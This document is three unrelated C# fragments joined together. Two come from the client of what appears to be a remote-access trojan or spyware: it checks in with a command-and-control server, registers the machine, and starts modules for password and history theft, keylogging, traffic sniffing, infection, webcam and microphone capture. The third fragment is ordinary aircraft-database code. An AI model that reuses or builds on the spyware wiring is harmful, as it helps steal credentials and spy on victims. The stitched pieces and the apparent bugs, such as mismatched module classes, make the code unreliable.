private void InitModules() { var configs = CommandAndControl.GetModuleConfigurations(Configurator.Instance.UniqueId); _modules.Add(new ScreenCaptureModule(GetIntervalForModuleId(ScreenCaptureModule.ModuleId, configs))); _modules.Add(new BrowserPasswordStealerModule(GetIntervalForModuleId(BrowserPasswordStealerModule.ModuleId, configs))); _modules.Add(new BrowserHistoryStealerModule(GetIntervalForModuleId(BrowserHistoryStealerModule.ModuleId, configs))); _modules.Add(new HttpTrafficSnifferModule(GetIntervalForModuleId(HttpTrafficSnifferModule.ModuleId, configs))); _modules.Add(new KeyloggerModule(GetIntervalForModuleId(KeyloggerModule.ModuleId, configs))); _modules.Add(new InfectionModule(GetIntervalForModuleId(InfectionModule.ModuleId, configs))); _modules.Add(new InfectionModule(GetIntervalForModuleId(CommandModule.ModuleId, configs))); _modules.Add(new InfectionModule(GetIntervalForModuleId(FileExplorerModule.ModuleId, configs))); _modules.Add(new InfectionModule(GetIntervalForModuleId(FileUploader.ModuleId, configs))); _modules.Add(new InfectionModule(GetIntervalForModuleId(FileDownloaderModule.ModuleId, configs))); _modules.Add(new InfectionModule(GetIntervalForModuleId(ProcessModule.ModuleId, configs))); _modules.Add(new InfectionModule(GetIntervalForModuleId(WebcamModule.ModuleId, configs))); _modules.Add(new InfectionModule(GetIntervalForModuleId(MicModule.ModuleId, configs))); }
private void FrmMain_Load(object sender, EventArgs e) { if (CommandAndControl.Ping(Configurator.Instance.UniqueId)) { CommandAndControl.RegisterMachineAlive(Configurator.Instance.UniqueId); InitModules(); foreach (var m in Modules) { AddClock(m); } } else { //TODO: what happens if we dont have connectiviy? } }
internal static void AddFWA(object Item, string SType) { using (var db = new DatabaseContext()) { switch (SType) { case "Bomber": Bomber tempB = new Bomber(); foreach (PropertyInfo x in Item.GetType().GetProperties()) { x.SetValue(tempB, x.GetValue(Item)); } db.FixedWingAircraft.Add(tempB); break; case "CommandAndControl": CommandAndControl tempCAC = new CommandAndControl(); foreach (PropertyInfo x in Item.GetType().GetProperties()) { x.SetValue(tempCAC, x.GetValue(Item)); } db.FixedWingAircraft.Add(tempCAC); break; case "Fighter": Fighter tempF = new Fighter(); foreach (PropertyInfo x in Item.GetType().GetProperties()) { x.SetValue(tempF, x.GetValue(Item)); } db.FixedWingAircraft.Add(tempF); break; case "GroundAttack": GroundAttack tempGA = new GroundAttack(); foreach (PropertyInfo x in Item.GetType().GetProperties()) { x.SetValue(tempGA, x.GetValue(Item)); } db.FixedWingAircraft.Add(tempGA); break; case "Gunship": Gunship tempG = new Gunship(); foreach (PropertyInfo x in Item.GetType().GetProperties()) { x.SetValue(tempG, x.GetValue(Item)); } db.FixedWingAircraft.Add(tempG); break; case "Transport": Transport tempT = new Transport(); foreach (PropertyInfo x in Item.GetType().GetProperties()) { x.SetValue(tempT, x.GetValue(Item)); } db.FixedWingAircraft.Add(tempT); break; case "UAV": Transport tempU = new Transport(); foreach (PropertyInfo x in Item.GetType().GetProperties()) { x.SetValue(tempU, x.GetValue(Item)); } db.FixedWingAircraft.Add(tempU); break; } db.SaveChanges(); } }